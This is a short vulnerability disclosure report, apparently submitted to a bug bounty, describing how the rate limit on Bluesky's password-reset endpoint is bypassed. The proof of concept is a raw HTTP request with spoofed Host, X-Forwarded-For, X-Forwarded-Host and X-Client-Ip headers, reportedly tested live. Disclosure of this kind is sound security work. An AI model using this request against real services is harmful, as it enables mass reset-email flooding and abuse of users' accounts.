Rate Limit Bypassed For Forget Password & Others

[Sachinart]

Steps to Reproduce

1. Sending request for forget password has a rate limit of 15 attempts but this can be bypassed

2. Forget password and intercept request in Burpsuite or whatever you use. send request in repeater now send 15 times request you will see that HTTP header Ratelimit-Remaining is consuming but changing probably this Host: bsky.app to any other url can bypass that limitation.

POC - Sending request like this can easily bypass such limits .

POST /xrpc/com.atproto.server.requestPasswordReset HTTP/2
Host: aaabing.com
X-Forwarded-For: aaaabing.com
X-Forwarded-Host: aaaabing.com
X-Client-Ip: aaaalocalhost
User-Agent: aaaaaaaa
Content-Type: application/json
Content-Length: 35

{"email":"myemail@gmail.com"}

This is real live POC tested on main site

I send 23 requests in 13 seconds and I got all mails , as I have described above. ^

Thanks!
